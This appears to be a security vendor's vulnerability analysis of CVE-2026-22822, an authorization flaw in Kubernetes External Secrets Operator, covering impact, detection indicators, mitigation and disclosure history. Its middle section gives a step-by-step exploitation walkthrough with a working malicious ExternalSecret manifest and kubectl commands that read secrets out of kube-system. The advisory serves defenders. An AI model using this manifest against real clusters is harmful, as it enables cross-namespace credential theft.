CVE-2026-22822: 
Wolfi vulnerability analysis and mitigation

CVE-2026-22822 is an incorrect authorization vulnerability in the External Secrets Operator (ESO) that allows low-privileged local attackers to retrieve Kubernetes Secrets across namespaces by abusing the getSecretKey template function. The flaw affects ESO versions >= 0.20.2 and < 1.2.0, and was disclosed on January 20, 2026 via a GitHub Security Advisory. It carries a CVSS v3.1 score of 8.8 (High) and a CVSS v4.0 score of 9.3 (Critical) (GitHub Advisory, Feedly).

The root cause is an incorrect authorization flaw (CWE-863) introduced when the getSecretKey template function was added to support the senhasegura DevOps Secrets Management (DSM) provider in PR #3895. This function, available in ESO's template engine v2, accepts a secret name, namespace, and key as arguments and fetches the secret using the broad roleBinding permissions of the external-secrets controller — not the permissions of the requesting namespace or user. An attacker with the ability to create or modify ExternalSecret resources in any namespace can craft a template such as {{ getSecretKey "secret-name" "target-namespace" "key" }} to exfiltrate secrets from arbitrary namespaces, completely bypassing ESO's intended namespace isolation safeguards (GitHub Advisory, Issue #5690, Fix Commit).

Successful exploitation enables cluster-wide unauthorized access to Kubernetes Secrets from any namespace, regardless of the attacker's own namespace permissions. This can expose credentials, API tokens, database passwords, TLS private keys, and other sensitive data managed by ESO across the entire cluster. The changed scope (CVSS S:C) reflects that the impact extends beyond the attacker's own namespace to the entire Kubernetes cluster, with high confidentiality, integrity, and availability impact on both the vulnerable and subsequent systems. Unauthorized secret access could further enable privilege escalation, service account compromise, and lateral movement within the cluster (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.013%, reflecting a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (ability to create or modify ExternalSecret resources in at least one namespace) and local cluster access, but no user interaction or elevated complexity (Feedly).

1. Reconnaissance: Identify a Kubernetes cluster running External Secrets Operator between versions 0.20.2 and 1.1.x. Verify the installed version using kubectl get deployment -n external-secrets -o yaml or by inspecting the operator image tag.
2. Obtain minimal access: Acquire credentials or a service account with permission to create or modify ExternalSecret resources in at least one namespace (e.g., a developer namespace).
3. Craft a malicious ExternalSecret: Create an ExternalSecret manifest that uses the getSecretKey template function to target a secret in a different, privileged namespace. The secretStoreRef can reference any valid store — it is not used for the getSecretKey call:

apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
  name: exfil-secret
spec:
  secretStoreRef:
    name: any-valid-store
    kind: SecretStore
  target:
    template:
      data:
        stolen_value: '{{ getSecretKey "target-secret" "kube-system" "sensitive-key" }}'
  dataFrom:
  - extract:
      key: something

4. Apply the manifest: Deploy the malicious ExternalSecret to the attacker-controlled namespace using kubectl apply -f malicious-es.yaml.
5. Retrieve the exfiltrated secret: Once ESO reconciles the resource, read the resulting Kubernetes Secret in the attacker's namespace: kubectl get secret exfil-secret -o jsonpath='{.data.stolen_value}' | base64 -d to obtain the plaintext value from the target namespace (GitHub Advisory, Issue #5690).

• Kubernetes Audit Logs: Audit log entries showing the external-secrets controller service account performing get or list operations on secrets resources in namespaces other than its own or the target ExternalSecret's namespace.
• ExternalSecret Resources: Presence of ExternalSecret resources with spec.target.template.data values containing the string getSecretKey — audit existing resources with kubectl get externalsecrets -A -o yaml | grep getSecretKey.
• Kubernetes Secrets: Unexpected Kubernetes Secret objects in developer or low-privilege namespaces whose values match sensitive data from other namespaces (e.g., kube-system, production).
• ESO Controller Logs: Log entries from the external-secrets controller pod showing reconciliation of ExternalSecret resources that reference secrets in foreign namespaces via template evaluation.

The definitive fix is to upgrade External Secrets Operator to version 1.2.0 or later, which completely removes the getSecretKey template function from the codebase (commit 17d3e22) (Fix Commit, GitHub Advisory). For environments where an immediate upgrade is not possible, deploy a policy engine (Kyverno, Kubewarden, or OPA/Gatekeeper) to reject any ExternalSecret resource whose template contains the getSecretKey function. Additionally, restrict ExternalSecret creation/modification permissions to trusted users only, and audit all existing ExternalSecret resources for use of getSecretKey using kubectl get externalsecrets -A -o yaml | grep getSecretKey. Functionality previously requiring getSecretKey can be replicated securely using sourceRef with a properly configured Kubernetes provider and appropriate RBAC (Issue #5690).

The vulnerability was first reported internally by community contributor budimanjojo via GitHub Issue #5690 in December 2025, who noted they were personally using the function as a "secret replicator" and felt compelled to disclose the security risk. Security news outlet SecurityOnline.info covered the flaw under the headline "Critical Flaw in External Secrets Operator Breaks Namespace Isolation" (SecurityOnline). The vulnerability also received coverage in the Secret CISO newsletter and was discussed on Bluesky by infosec community accounts. SUSE issued a security advisory referencing the CVE in the context of govulncheck/vulndb updates (Feedly).